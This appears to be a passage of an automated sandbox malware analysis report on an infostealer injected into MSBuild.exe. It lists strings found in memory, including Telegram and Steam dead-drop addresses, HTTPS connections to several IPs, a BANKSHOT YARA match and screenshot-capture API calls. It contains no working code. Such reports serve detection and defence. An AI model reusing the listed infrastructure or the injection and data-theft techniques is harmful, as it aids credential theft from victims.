Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/badges
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/inventory/
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/workshop/
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/about/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/explore/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/legal/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/mobile
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/news/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/points/shop/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privac
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/stats/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: BFHDAE.1.dr String found in binary or memory: https://support.mozilla.org
Source: BFHDAE.1.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFHDAE.1.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000001.00000002.2404984973.000000001973C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.0000000000607000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001167000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.00000000004CD000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2627587707.000000000620C000.00000004.00000020.00020000.00000000.sdmp, CFHCGH.1.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: CFHCGH.1.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000607000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.00000000004CD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000001.00000002.2404984973.000000001973C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.0000000000607000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001167000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.00000000004CD000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2627587707.000000000620C000.00000004.00000020.00020000.00000000.sdmp, CFHCGH.1.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: CFHCGH.1.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000607000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.00000000004CD000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/Q
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/armad2a
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/armad2ahellosqls.dllsqlite3.dllIn
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000006.00000002.2617277364.000000000044B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/s41l0
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001038000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/s41l0#69
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/s41l06#goMozilla/5.0
Source: MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/s41l0iU
Source: MSBuild.exe, 00000006.00000002.2617277364.000000000044B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web.telegram.org
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, HJDBFB.1.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, HJDBFB.1.dr String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BFHDAE.1.dr String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.2404984973.000000001973C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: BFHDAE.1.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000001.00000002.2404984973.000000001973C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: BFHDAE.1.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000001.00000002.2404984973.000000001973C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: BFHDAE.1.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BFHDAE.1.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.2404984973.000000001973C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: BFHDAE.1.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 00000001.00000002.2379793431.0000000000438000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 65.108.151.108:443 -> 192.168.2.4:49781 version: TLS 1.2
Contains functionality to record screenshots
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00411530 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow, 1_2_00411530

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 1.2.MSBuild.exe.428038.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C58ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset, 1_2_6C58ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 1_2_6C5CB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5CB8C0 rand_s,NtQueryVirtualMemory, 1_2_6C5CB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 1_2_6C5CB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 1_2_6C56F280
Detected potential crypto function
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_0313EF68 0_2_0313EF68
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_0313878B 0_2_0313878B
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_031387B8 0_2_031387B8
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_03138A10 0_2_03138A10
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_031389FF 0_2_031389FF
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_0313AF2A 0_2_0313AF2A
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B65578 0_2_05B65578
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B69C98 0_2_05B69C98
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B62C18 0_2_05B62C18
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B66780 0_2_05B66780
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B65568 0_2_05B65568
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B69C92 0_2_05B69C92
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B62C08 0_2_05B62C08
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B677E0 0_2_05B677E0
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B677D0 0_2_05B677D0
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B66770 0_2_05B66770
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B6B3B8 0_2_05B6B3B8
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B6B3C8 0_2_05B6B3C8
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B68A78 0_2_05B68A78
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_05B68A68 0_2_05B68A68
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_06051B10 0_2_06051B10
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_06053201 0_2_06053201
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Code function: 0_2_06053036 0_2_06053036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041BD50 1_2_0041BD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041A130 1_2_0041A130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00419B58 1_2_00419B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00419B30 1_2_00419B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5635A0 1_2_6C5635A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D545C 1_2_6C5D545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C575440 1_2_6C575440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A5C10 1_2_6C5A5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5B2C10 1_2_6C5B2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5DAC00 1_2_6C5DAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5D542B 1_2_6C5D542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C58D4D0 1_2_6C58D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5764C0 1_2_6C5764C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A6CF0 1_2_6C5A6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C56D4E0 1_2_6C56D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C576C80 1_2_6C576C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5C34A0 1_2_6C5C34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5CC4A0 1_2_6C5CC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C58ED10 1_2_6C58ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C590512 1_2_6C590512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C57FD00 1_2_6C57FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5A0DD0 1_2_6C5A0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C5C85F0 1_2_6C5C85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C589E50 1_2_6C589E50
